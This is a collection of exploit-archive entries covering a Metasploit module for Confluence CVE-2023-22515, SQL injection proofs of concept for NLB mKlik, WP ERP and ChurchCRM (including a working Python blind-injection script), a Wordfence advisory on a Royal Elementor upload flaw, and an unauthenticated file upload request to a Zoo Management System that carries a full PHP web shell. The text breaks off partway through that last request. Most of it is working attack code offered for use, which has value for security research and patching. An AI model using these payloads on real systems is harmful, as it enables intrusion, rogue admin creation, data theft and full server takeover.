<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Retry<br /> include Msf::Exploit::Remote::HttpClient<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',<br /> 'Description' => %q{<br /> This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP<br /> parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for<br /> Java objects to be modified at run time. The exploit will create a new administrator user and upload a<br /> malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,<br /> 8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'sfewer-r7', # MSF Exploit & Rapid7 Analysis<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-22515'],<br /> ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],<br /> ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],<br /> ],<br /> 'DisclosureDate' => '2023-10-04',<br /> 'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.<br /> 'Targets' => [<br /> [<br /> 'Automatic',<br /> {<br /> 'Platform' => 'java',<br /> 'Arch' => [ARCH_JAVA]<br /> }<br /> ],<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> # Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> # By default Confluence listens for HTTP requests on TCP port 8090.<br /> Opt::RPORT(8090),<br /> # Confluence may have a non default base path, allow user to configure that here.<br /> OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),<br /> # The endpoint we target to trigger the vulnerability.<br /> OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),<br /> # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.<br /> OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])<br /> )<br /><br /> return CheckCode::Unknown('Connection failed') unless res<br /><br /> # Ensure target is a Confluence server by identifying an expected HTTP header.<br /> return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'<br /><br /> if res.code == 200 && res.body<br /> # Pull out the version string from one of three known locations within the HTML.<br /> m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)<br /> if m.nil?<br /> m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)<br /> if m.nil?<br /> m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)<br /> end<br /> end<br /><br /> unless m.nil?<br /> version = Rex::Version.new(m[1])<br /><br /> ranges = [<br /> ['8.0.0', '8.3.2'],<br /> ['8.4.0', '8.4.2'],<br /> ['8.5.0', '8.5.1']<br /> ]<br /><br /> # If we have a Confluence server within the given version ranges, it appears vulnerable.<br /> ranges.each do |min, max|<br /> if version.between?(Rex::Version.new(min), Rex::Version.new(max))<br /> return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")<br /> end<br /> end<br /><br /> # By here we know we have a confluence server, but the version found indicates it is safe.<br /> return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")<br /> end<br /> end<br /><br /> # By here we have identified a Confluence server, but could not get the version number to determine if it is<br /> # vulnerable of not.<br /> CheckCode::Detected<br /> end<br /><br /> def exploit<br /> target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])<br /><br /> print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")<br /><br /> # 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => target_endpoint,<br /> 'vars_post' => {<br /> 'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'<br /> }<br /> )<br /><br /> unless res&.code == 302 || res&.code == 200<br /> fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")<br /> end<br /><br /> print_status('Creating a new administrator user account...')<br /><br /> # usernames must be lowercase<br /> admin_username = rand_text_alpha_lower(8)<br /> admin_password = rand_text_alphanumeric(8)<br /><br /> # 2. Create a new administrator user account.<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),<br /> 'headers' => {<br /> 'X-Atlassian-Token' => 'no-check'<br /> },<br /> 'vars_post' => {<br /> 'username' => admin_username,<br /> 'fullName' => rand_text_alphanumeric(8),<br /> # The email address does not need to be a valid address, but it must contain an @ character.<br /> 'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",<br /> 'password' => admin_password,<br /> 'confirm' => admin_password,<br /> 'setup-next-button' => 'Next'<br /> }<br /> )<br /><br /> unless res&.code == 302 || res&.code == 200<br /> fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')<br /> end<br /><br /> print_status("Created #{admin_username}:#{admin_password}")<br /><br /> # 3. Force the setup to become completed, to allow normal Confluence operations to continue.<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),<br /> 'headers' => {<br /> 'X-Atlassian-Token' => 'no-check'<br /> }<br /> )<br /><br /> unless res&.code == 200<br /> fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')<br /> end<br /><br /> print_status('Adding a malicious plugin...')<br /><br /> # 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> # Note, we concatenate '/' as this is required by the endpoint.<br /> 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',<br /> 'headers' => {<br /> 'Authorization' => basic_auth(admin_username, admin_password),<br /> 'Accept' => '*/*'<br /> },<br /> 'vars_get' => {<br /> 'os_authType' => 'basic'<br /> }<br /> )<br /><br /> unless res&.code == 200<br /> fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')<br /> end<br /><br /> upm_token = res.headers['upm-token']<br /> unless upm_token<br /> fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')<br /> end<br /><br /> begin<br /> payload_endpoint = rand_text_alphanumeric(8)<br /><br /> plugin_key = rand_text_alpha(8)<br /><br /> # 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string<br /> # 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).<br /> jar = payload.encoded_jar(random: true)<br /><br /> jar.add_file(<br /> 'atlassian-plugin.xml',<br /> %(<br /><atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2"><br /> <plugin-info><br /> <description>#{rand_text_alphanumeric(8)}</description><br /> <version>#{rand(1024)}.#{rand(1024)}</version><br /> </plugin-info><br /> <servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet"><br /> <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern><br /> </servlet><br /></atlassian-plugin>)<br /> )<br /><br /> jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))<br /><br /> message = Rex::MIME::Message.new<br /><br /> message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")<br /><br /> # 6. Upload the malicious plugin.<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',<br /> 'ctype' => 'multipart/form-data; boundary=' + message.bound,<br /> 'headers' => {<br /> 'Authorization' => basic_auth(admin_username, admin_password),<br /> 'Accept' => '*/*'<br /> },<br /> 'vars_get' => {<br /> 'token' => upm_token<br /> },<br /> 'data' => message.to_s<br /> )<br /><br /> unless res&.code == 202<br /> fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')<br /> end<br /><br /> unless res.body =~ %r{<textarea>(.+)</textarea>}<br /> fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')<br /> end<br /><br /> begin<br /> plugin_json = JSON.parse(::Regexp.last_match(1))<br /> rescue JSON::ParserError<br /> fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')<br /> end<br /><br /> # We receive a JSON object like this:<br /> # <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea><br /><br /> links_alternate = plugin_json&.dig('links', 'alternate')<br /> if links_alternate.nil?<br /> fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')<br /> end<br /><br /> print_status('Waiting for plugin to be installed...')<br /><br /> # 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.<br /> plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, links_alternate)<br /> )<br /><br /> # We receive a JSON result to indicate if the plugin is finished installing.<br /> # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}<br /><br /> if res&.code == 200<br /> begin<br /> res_json = JSON.parse(res.body)<br /> next res_json['done']<br /> rescue JSON::ParserError<br /> next false<br /> end<br /> end<br /><br /> false<br /> end<br /><br /> unless plugin_ready<br /> fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')<br /> end<br /><br /> print_status('Triggering payload...')<br /><br /> # 8. Trigger the payload by performing a request to the malicious servlet endpoint.<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)<br /> )<br /><br /> unless res&.code == 200<br /> fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")<br /> end<br /> ensure<br /> print_status('Deleting plugin...')<br /><br /> # 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as<br /> # Confluence doesnt allow a user to delete themself.<br /> res = send_request_cgi(<br /> 'method' => 'DELETE',<br /> 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),<br /> 'headers' => {<br /> 'Authorization' => basic_auth(admin_username, admin_password),<br /> 'Connection' => 'close'<br /> }<br /> )<br /><br /> unless res&.code == 204<br /> print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")<br /> end<br /> end<br /> end<br /><br />end<br /></code></pre>
<pre><code><br />NLB mKlik Makedonija 3.3.12 SQL Injection<br /><br /><br />Vendor: NLB Banka AD Skopje<br />Product web page: https://www.nlb.mk<br />Google Play: https://play.google.com/store/apps/details?id=hr.asseco.android.jimba.tutunskamk.production<br />Affected version: 3.3.12<br /><br />Summary: NLB mKlik е мобилна апликација наменета за физички лица,<br />корисници на услугите на НЛБ Банка, која овозможува преглед на<br />различните продукти кои корисниците ги имаат во Банката како и<br />извршување на различни видови на трансакции на едноставен и пред<br />се безбеден начин во било кој период од денот. NLB mKlik апликацијата<br />може да се користи со Android верзија 5.0 или понова.<br /><br />Desc: The mobile application or the affected API suffers from an SQL<br />Injection vulnerability. Input passed to the parameters that are<br />associated to international transfer is not properly sanitised before<br />being returned to the user or used in SQL queries. This can be exploited<br />to manipulate SQL queries by injecting arbitrary SQL code and disclose<br />sensitive information.<br /><br />Tested on: Android 13<br /><br /><br />Vulnerability discovered by Neurogenesia<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2023-5797<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5797.php<br /><br /><br />23.12.2022<br /><br />--<br /><br /><br />Incident ID: ZSL-122022-NLBTHR<br />------------------------------<br />DB data disclosure PoC (international transfer details/description trigger):<br /><br />++<br />[select alfa1+' девизен прилив' opis from pts (nolock) where unikum =dbo.dodajnuli(:unikum ,14) and kod = 15111]<br /><br />-<br /></code></pre>
<pre><code>Today, on October 13, 2023, the Wordfence Threat Intelligence Team became aware of a vulnerability that was recently patched in Royal Elementor Addons and Templates, a WordPress plugin installed on over 200,000 sites, that makes it possible for unauthenticated attackers to upload arbitrary files to vulnerable sites.<br /><br />This allows unauthenticated attackers to upload PHP files containing malicious content, such as a backdoor, that makes remote code execution possible and leads to a complete compromise of the site. We have blocked over 46,169 attacks targeting this vulnerability in the past 30 days, and reviewing our data revealed that attacks started on or around August 30th, 2023, though we also have evidence that the exploit was being actively developed as early as July 27, 2023.<br /><br />All Wordfence users running Premium, Care, or Response, as well as those still running the free version of the Wordfence plugin, are protected by the Wordfence firewall’s built in malicious file upload protection. However, we still strongly encourage users to ensure their sites are updated to the latest patched version of the plugin which is 1.3.79 due to the fact that this vulnerability is being actively exploited.<br /><br />This vulnerability was originally discovered by Fioravante Souza from WPScan, and you can find all applicable references in the Wordfence Intelligence Database.<br /><br />Description: Royal Elementor Addons and Templates <= 1.3.78 – Unauthenticated Arbitrary File Upload <br /><br />Affected Plugin: Royal Elementor Addons and Templates <br /><br />Plugin slug: royal-elementor-addons<br /><br />Vendor: WP Royal<br /><br />Affected versions: <= 1.3.78<br /><br />CVE ID: CVE-2023-5360<br /><br />CVSS Score: 9.8 (Critical)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H<br /><br />Researcher: Fioravante Souza(WPScan) <br /><br />Fully Patched Version: 1.3.79<br /><br />Wordfence Intelligence Reference <br /><br />The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to, and including, 1.3.78. This is due to insufficient file type validation in the handle_file_upload() function called via AJAX which allows attackers to supply a preferred filetype extension to the ‘allowed_file_types‘ parameter, with a special character, which makes it possible for the uploaded file to bypass their filter list. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible.<br /><br />Due to the fact that this vulnerability is being actively exploited, we are keeping information about the technical specifications of this vulnerability limited.<br /><br />Indicators of Compromise<br /><br />Our earliest indicator that this vulnerability was targeted was on August 30th, well before the vulnerability was patched, however, we only see a few attacks here and there around the early days with attacks starting to ramp up later around October 3rd, 2023. In the past 30 days, we have blocked over 46,169 attacks.<br /><br />A majority of the attacks appear to be coming from just the following three IP Addresses:<br /><br />- 65.21.22.78 with 33,255 attacks blocked.<br />- 2a01:4f9:3080:4eea::2 with 12,289 attacks blocked.<br />- 135.181.181.50 with 206 attacks blocked.<br /><br />>From our data, it appears that attackers have been attempting to place files named b1ack[.]p$hp, which has an md5 hash of 1635f34d9c1da30ff5438e06d3ea6590 and can be used to place additional PHP files on the site, as well as wp.ph$p which has an md5 hash of bac83f216eba23a865c591dbea427f22 and inserts a malicious administrator. The Wordfence scanner has had detection for b1ack[.]p$hp since December 2019, and we have written a signature to detect wp[.]ph$p which will be released as soon as it passes our quality assurance process.<br /><br />b1ack[.]p$hp contains the following code:<br /><br />ray-so-export (6) <br /><br />wp[.]ph$p contains the following code:<br /><br />ray-so-export (7) <br /><br />We recommend all site owners run a malware scan using Wordfence CLI, with the commercial signature set, or the Wordfence plugin, if utilizing the Royal Elementor Addons and Templates plugin to ensure their site has not been compromised as a result of this vulnerability.<br /><br />If you believe your site has been compromised as a result of this vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.<br /><br />Conclusion<br /><br />In today’s post, we detailed attacks against a critical unauthenticated arbitrary file upload vulnerability in the Royal Elementor Addons and Templates plugin for WordPress that has been patched, but is actively being exploited. This vulnerability can be leveraged to upload a malicious PHP file that will make remote code execution on the server possible.<br /><br />As a reminder, all Wordfence users running Premium, Care, or Response, as well as those still running the free version of the Wordfence plugin, are protected by the Wordfence firewall’s built in malicious file upload protection. However, we still strongly encourage users to ensure their sites are updated to the latest patched version of the plugin which is 1.3.79 due to the fact that this vulnerability is being actively exploited.<br /><br />If you know someone who uses this plugin, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.<br /><br />For security researchers looking to disclose vulnerabilities responsibly and obtain a CVE ID, you can submit your findings to Wordfence Intelligence and potentially earn a spot on our leaderboard.<br /><br />Special thanks to Ramuel Gall, Wordfence Senior Security Researcher, for assistance researching this vulnerability, analyzing the attack data, and ensuring our users have adequate protection and detection coverage.<br /><br /></code></pre>
<pre><code># Exploit Title: WP Plugins WP ERP <= 1.12.2 - SQL Injection<br /># Date: 15-10-2023<br /># Exploit Author: Arvandy<br /># Software Link: https://wordpress.org/plugins/erp/<br /># Vendor Homepage: https://wperp.com/<br /># Version: 1.12.2<br /># Tested on: Windows, Linux<br /># CVE: CVE-2023-2744<br /><br /># Product Description<br />WP ERP is the first full-fledged ERP (Enterprise Resource Planning) system through which you can simultaneously manage your WordPress site and business from a single platform. WP ERP aims to deliver all your enterprise business requirements with simplicity. With real-time reports and a better way to handle business data, make your operation better managed, away from errors, and prepare your company for the next leap. WP ERP has 3 core modules: HR, CRM, and Accounting, which together make a complete ERP system for any type of business.<br /><br /># Vulnerability overview:<br />The WordPress Plugins WP ERP - Accounting module <= 1.12.2 is vulnerable to Blind SQL Injection (time-based) via the TYPE parameter on /wp-json/erp/v1/accounting/v1/people endpoint. This vulnerability could lead to unauthorized data access and modification.<br /><br /># Proof of Concept:<br />Affected Endpoint: /wp-json/erp/v1/accounting/v1/people?type=<br />Affected Parameter: type<br />payload: customer') AND (SELECT 1 FROM (SELECT SLEEP(3))x) AND ('x'='x<br /><br /># Recommendation<br />Upgrade to version 1.12.4<br /><br /></code></pre>
<pre><code># Exploit Title: ChurchCRM 4.5.4 - Authenticated Blind SQL Injection via the EN_tyid<br /># Date: 03-05-2023<br /># Exploit Author: Arvandy<br /># Blog Post: https://github.com/arvandy/CVE/blob/main/CVE-2023-29842/CVE-2023-29842.md<br /># Software Link: https://github.com/ChurchCRM/CRM/releases<br /># Vendor Homepage: http://churchcrm.io/<br /># Version: 4.5.4<br /># Tested on: Windows, Linux<br /># CVE: CVE-2023-29842<br /><br />"""<br />The endpoint /EditEventTypes.php is vulnerable to Blind SQL Injection (Time-based) via the EN_tyid POST parameter.<br />This endpoint can be triggered through the following menu: Events - List Event Types - Edit Event Types - Save Name. <br />The EN_tyid Parameter is taken directly from the user input and passed into the SQL query without any sanitization or input escaping. <br />This allows the attacker to inject malicious Event payloads to execute the malicious SQL query.<br /><br />This script is created as Proof of Concept to retrieve the database name and version.<br />"""<br /><br /><br />import sys, requests<br /><br />def injection(target, inj_str, session_cookies): <br /> for j in range(32, 126):<br /> url = "%s/EditEventTypes.php" % (target)<br /> headers = {'Content-Type':'application/x-www-form-urlencoded','Cookie':'CRM-2c90cf299230a50dab55aee824ed9b08='+str(session_cookies)} <br /> data = "EN_tyid=%s&EN_ctid=&newEvtName=NewEvent&Action=NAME&newEvtStartTime=09:30:00&newCountName=" % (inj_str.replace("[CHAR]", str(j)))<br /> r = requests.post(url, headers=headers, data=data)<br /> res = r.text<br /> if (r.elapsed.total_seconds () > 2 ):<br /> return j<br /> return None<br /><br /><br />def retrieveDBName(session_cookies): <br /> db_name = ""<br /> print("(+) Retrieving database name, please wait")<br /> for i in range (1,100):<br /> injection_str = "1'+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,IF(ASCII(SUBSTRING((SELECT+DATABASE()),%d,1))=[CHAR],SLEEP(2),null)-- -" % i<br /> retrieved_value = injection(target, injection_str, session_cookies)<br /> if (retrieved_value):<br /> sys.stdout.write(chr(retrieved_value))<br /> sys.stdout.flush() <br /> else:<br /> break<br /><br />def retrieveDBVersion(session_cookies): <br /> db_version = ""<br /> print("(+) Retrieving database version, please wait")<br /> for i in range (1,100):<br /> injection_str = "1'+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,IF(ASCII(SUBSTRING((SELECT+@@version),%d,1))=[CHAR],SLEEP(2),null)-- -" % i<br /> retrieved_value = injection(target, injection_str, session_cookies)<br /> if (retrieved_value):<br /> sys.stdout.write(chr(retrieved_value))<br /> sys.stdout.flush()<br /> else:<br /> break <br /><br /><br />def login(target, username, password):<br /> target = "%s/session/begin" % (target)<br /> headers = {'Content-Type': 'application/x-www-form-urlencoded'}<br /> data = "User=%s&Password=%s" % (username, password)<br /> s = requests.session()<br /> r = s.post(target, data = data, headers = headers)<br /> return s.cookies.get('CRM-2c90cf299230a50dab55aee824ed9b08')<br /><br />def main():<br /> print("(!) Login to the target application")<br /> session_cookies = login(target, username, password) <br /> <br /> print("(!) Exploiting the Blind Auth SQL Injection to retrieve database name and versions")<br /> retrieveDBName(session_cookies)<br /> <br /> print("")<br /> retrieveDBVersion(session_cookies)<br /> <br />if __name__ == "__main__":<br /> if len(sys.argv) != 4:<br /> print("(!) Usage: python3 exploit.py <URL> <username> <password>")<br /> print("(!) E.g.,: python3 exploit.py http://192.168.1.100/ChurchCRM user pass")<br /> sys.exit(-1)<br /><br /> target = sys.argv[1]<br /> username = sys.argv[2]<br /> password = sys.argv[3]<br /> <br /> main()<br /></code></pre>
<pre><code># Exploit Title: Zoo Management System 1.0 - Unauthenticated RCE<br /># Date: 16.10.2023<br /># Exploit Author: Çağatay Ceyhan<br /># Vendor Homepage: https://www.sourcecodester.com/php/15347/zoo-management-system-source-code-php-mysql-database.html#google_vignette<br /># Software Link: https://www.sourcecodester.com/download-code?nid=15347&title=Zoo+Management+System+source+code+in+PHP+with+MySQL+Database<br /># Version: 1.0<br /># Tested on: Windows 11<br /><br />## Unauthenticated users can access /zoomanagementsystem/admin/public_html/save_animal address and they can upload malicious php file instead of animal picture image without any authentication.<br /><br /><br />POST /zoomanagementsystem/admin/public_html/save_animal HTTP/1.1<br />Host: localhost<br />Content-Length: 6162<br />Cache-Control: max-age=0<br />sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"<br />sec-ch-ua-mobile: ?0<br />sec-ch-ua-platform: "Windows"<br />Upgrade-Insecure-Requests: 1<br />Origin: http://localhost<br />Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8NY8zT5dXIloiUML<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Referer: http://localhost/zoomanagementsystem/admin/public_html/save_animal<br />Accept-Encoding: gzip, deflate, br<br />Accept-Language: en-US,en;q=0.9<br />Connection: close<br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="animal_id"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_given_name"<br /><br />kdkd<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_species_name"<br /><br />ıdsıd<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_dob"<br /><br />1552-02-05<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_gender"<br /><br />m<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_avg_lifespan"<br /><br />3<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="class_id"<br /><br />2<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="location_id"<br /><br />2<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_dietary_req"<br /><br />2<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_natural_habitat"<br /><br />faad<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_pop_dist"<br /><br />eterter<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_joindate"<br /><br />5559-02-06<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_height"<br /><br />2<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_weight"<br /><br />3<br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_description"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="images[]"; filename="ultra.php"<br />Content-Type: application/octet-stream<br /><br /><?php<br />if (!empty($_POST['cmd'])) {<br /> $cmd = shell_exec($_POST['cmd']);<br />}<br />?><br /><!DOCTYPE html><br /><html lang="en"><br /><head><br /> <meta charset="utf-8"><br /> <meta http-equiv="X-UA-Compatible" content="IE=edge"><br /> <meta name="viewport" content="width=device-width, initial-scale=1"><br /> <title>Web Shell</title><br /> <style><br /> * {<br /> -webkit-box-sizing: border-box;<br /> box-sizing: border-box;<br /> }<br /><br /> body {<br /> font-family: sans-serif;<br /> color: rgba(0, 0, 0, .75);<br /> }<br /><br /> main {<br /> margin: auto;<br /> max-width: 850px;<br /> }<br /><br /> pre,<br /> input,<br /> button {<br /> padding: 10px;<br /> border-radius: 5px;<br /> background-color: #efefef;<br /> }<br /><br /> label {<br /> display: block;<br /> }<br /><br /> input {<br /> width: 100%;<br /> background-color: #efefef;<br /> border: 2px solid transparent;<br /> }<br /><br /> input:focus {<br /> outline: none;<br /> background: transparent;<br /> border: 2px solid #e6e6e6;<br /> }<br /><br /> button {<br /> border: none;<br /> cursor: pointer;<br /> margin-left: 5px;<br /> }<br /><br /> button:hover {<br /> background-color: #e6e6e6;<br /> }<br /><br /> .form-group {<br /> display: -webkit-box;<br /> display: -ms-flexbox;<br /> display: flex;<br /> padding: 15px 0;<br /> }<br /> </style><br /><br /></head><br /><br /><body><br /> <main><br /> <h1>Web Shell</h1><br /> <h2>Execute a command</h2><br /><br /> <form method="post"><br /> <label for="cmd"><strong>Command</strong></label><br /> <div class="form-group"><br /> <input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"<br /> onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required><br /> <button type="submit">Execute</button><br /> </div><br /> </form><br /><br /> <?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?><br /> <h2>Output</h2><br /> <?php if (isset($cmd)): ?><br /> <pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre><br /> <?php else: ?><br /> <pre><small>No result.</small></pre><br /> <?php endif; ?><br /> <?php endif; ?><br /> </main><br /></body><br /></html><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_med_record"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_transfer"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_transfer_reason"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_death_date"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_death_cause"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="an_incineration"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="m_gest_period"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="m_category"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="m_avg_body_temp"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="b_nest_const"<br /><br /><br 